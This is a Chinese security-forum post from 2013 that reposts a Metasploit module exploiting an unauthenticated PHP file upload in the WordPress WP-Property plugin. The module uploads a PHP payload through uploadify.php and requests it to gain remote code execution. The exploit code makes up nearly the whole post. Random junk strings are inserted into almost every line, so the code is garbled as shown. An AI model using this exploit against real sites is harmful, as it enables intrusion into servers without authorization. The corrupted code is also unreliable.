找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2488|回复: 0
打印 上一主题 下一主题

WordPress WP-Property PHP 文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:51:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
WordPress WP-Property PHP 文件上传漏洞
* J- K6 W1 J, z( P) @3 b1 L1 v$ B, c
## # This file is part of the Metasploit Framework and may be subject to) ]) H) E* p- p5 }
4 L% ]. d" V5 E
# redistribution and commercial restrictions. Please see the Metasploit
/ `. f" M: @' R7 _$ J
7 i6 {6 ~% W  D5 Y! P2 d# Framework web site for more information on licensing and terms of use.
3 O0 l# n' j5 q/ r8 r
( L  C  m+ [; D  [- q: }) J#   http://metasploit.com/framework/ ##" K2 P+ t8 b" N. K' p

5 `; R5 N3 z( G6 z
; O& n/ ?; O2 P+ L2 a' O2 G0 ?" [9 m

* V& x" M: G) ^' h
  v4 P+ }2 e* U3 K" Krequire 'msf/core'( _# F" ~# c0 |3 ^! ~
require 'msf/core/exploit/php_exe'
! T0 w+ T8 y! y+ k4 i
" n+ {, V' q) ^/ A1 k. H1 Yclass Metasploit3 < Msf::Exploit::Remote     Rank = ExcellentRanking       include Msf::Exploit::Remote::HttpClient     include Msf::Exploit:hpEXE       def initialize(info = {})         super(update_info(info,             'Name'           => 'WordPress WP-Property PHP File Upload Vulnerability',2 e. A" |  L; M5 @1 W: D- P" I/ f
'Description'    => %q{
, [' c: {" }8 k0 QThis module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress                 plugin. By abusing the uploadify.php file, a malicious user can upload a file to a                 temp directory without authentication, which results in arbitrary code execution.             },             'Author'         =>; J. B8 L7 C6 e: s5 R
[
* x: y& Y6 u) u5 U/ @4 L'Sammy FORGIT', # initial discovery
) k0 ^0 @7 x+ P, b'James Fitts <fitts.james[at]gmail.com>' # metasploit module
! u: H$ W7 w1 L. U* N( j],
: t! d4 w# G! F'License'        => MSF_LICENSE,
: d0 q7 e" w: A( A* D: W'References'     =>
- f1 c/ D" A7 S4 J4 b' ~[9 P4 k; b$ j" Z* Z
[ 'OSVDB', '82656' ],% D' z  x- i5 Y0 R3 E
[ 'BID', '53787' ],2 D0 }; Y  a6 R3 [8 R
[ 'EDB', '18987'],2 i" t2 \$ T" Z" A. D
[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]7 c7 x, }  n' G. _" ^# B
],/ ]5 T0 c' j1 k8 K8 Z' n5 K
'Payload'        =>7 }( Y8 b2 u/ {3 Z
{3 V: C; b' F# G0 F5 _
'BadChars' => "\x00",% C( w2 B  ]  `/ M0 F
},, B( d( B9 L/ |3 G8 N, v
'Platform'       => 'php',
. {2 c) [1 _* t* b'Arch'           => ARCH_PHP,, Y2 `$ C) U  W+ U! D# X6 L+ W
'Targets'        =>' c6 Q. n- i8 C. x9 s) Y
[8 i5 a" h+ f9 p
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],& `0 F2 b! K3 x: S
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]# t* w2 ~1 M7 I* J
],
9 W+ C( O! ^$ t3 i0 b0 K% r: I'DefaultTarget'  => 0,: v; o8 e& m! K- b  x) ~' s, W
'DisclosureDate' => 'Mar 26 2012'))5 i8 d% t' ]8 O
6 Q& ~0 T$ ]$ D3 N& N: r
register_options(
) p! f7 j+ f/ l% S7 M[4 {# _7 j% B6 H8 J+ K. J
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])  O) M7 A8 U- {) W
], self.class)  t9 m" J! E6 y2 f. {
end% T. p5 E/ a% Z1 T% K- Q5 e
* b9 `/ M; ?; ]6 p8 z8 \; |% ~
def check3 [# y% e2 B. g  W
uri =  target_uri.path
8 `! b1 @# O0 J& z6 `* x* turi << '/' if uri[-1,1] != '/'           res = send_request_cgi({             'method' => 'GET',
# ]2 ]& |; b0 N2 m1 e'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"+ S% O6 s0 l" i$ O2 @7 {
})1 Y4 T) H2 v# P3 e2 j4 y0 }
$ Q$ w5 K- k" ~1 t/ V& W
if not res or res.code != 200
, F% Y1 `, @+ {3 N3 Creturn Exploit::CheckCode::Unknown
7 z" U! W" L: b5 R( {end
: b% @& z5 B% l9 J- Q# H' }. M. a# ^0 [( H
return Exploit::CheckCode::Appears
: r0 \, }! E. u$ l/ S* A2 ^0 gend9 @% J1 x5 b" P, S' o

- ^/ C4 u& t" R& Y0 V& }def exploit
: Q. O9 v0 j% O* K* }% h/ ouri =  target_uri.path2 _% H! D1 F# b- \9 @1 l
uri << '/' if uri[-1,1] != '/'           peer = "#{rhost}:#{rport}"           @payload_name = "#{rand_text_alpha(5)}.php"         php_payload = get_write_exec_payload(:unlink_self=>true)* a$ d% ?3 Q1 C& h- r  ]4 R; n
$ L2 X3 a+ V, ~( \7 m5 z- c6 ~# c: C$ Y/ Q
data = Rex::MIME::Message.new0 i$ G6 J8 S: m* |5 L* d
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")
( ~$ P( z6 e2 k# q+ Sdata.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")
- s1 t+ ?' i* j. u( d+ B  e! |9 apost_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')( q) {" l# P" v5 j6 n# g
7 W' T  s& `' T' o. _4 m' ~
print_status("#{peer} - Uploading payload #{@payload_name}")
. B0 `1 D1 V# Yres = send_request_cgi({+ H' B" R1 ~: `
'method' => 'POST',7 ~4 u% e0 A  S7 k& f
'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",% n- o1 N  M% D4 p* n
'ctype'  => "multipart/form-data; boundary=#{data.bound}",. H& T7 V6 U( `3 h' c9 W( o- Y
'data'   => post_data
5 c. [6 [+ [7 d" ^) B& |}). L0 r1 X3 E  f7 s7 G
) i2 ]  _  T8 D  E; d8 L: s2 C
if not res or res.code != 200 or res.body !~ /#{@payload_name}/) j+ j: b6 q& C% S/ q
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
  R9 d  m0 O) }5 V) ]end/ T, {2 }) F8 n' `

- L+ Z* R3 o7 C! Lupload_uri = res.body! }+ ^: Q1 z9 O
& l% b/ v8 d, l8 f2 N  J/ J
print_status("#{peer} - Executing payload #{@payload_name}")! |2 g/ ?9 Z% o% C" J5 r
res = send_request_raw({" N0 H1 V$ _, N4 k2 U2 f  Q
'uri'    => upload_uri,
. Q  ~8 K9 @( q$ b5 q8 U'method' => 'GET'9 ]: V6 ^8 C6 \# S- E$ g+ v
})) |* l7 _9 F+ P  s% s9 T2 f
end! O6 K/ j* ^- g$ {6 G5 h
end
  V, W/ L; Q# Y1 U; X" f! K+ U% e% Q% {/ d' A7 P& d* w
不要问我这写的是什么 怎么利用 我是说msf.* k0 ~1 q( O: N5 c7 h8 m
3 I$ z( ^. }7 t" e. u. A
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表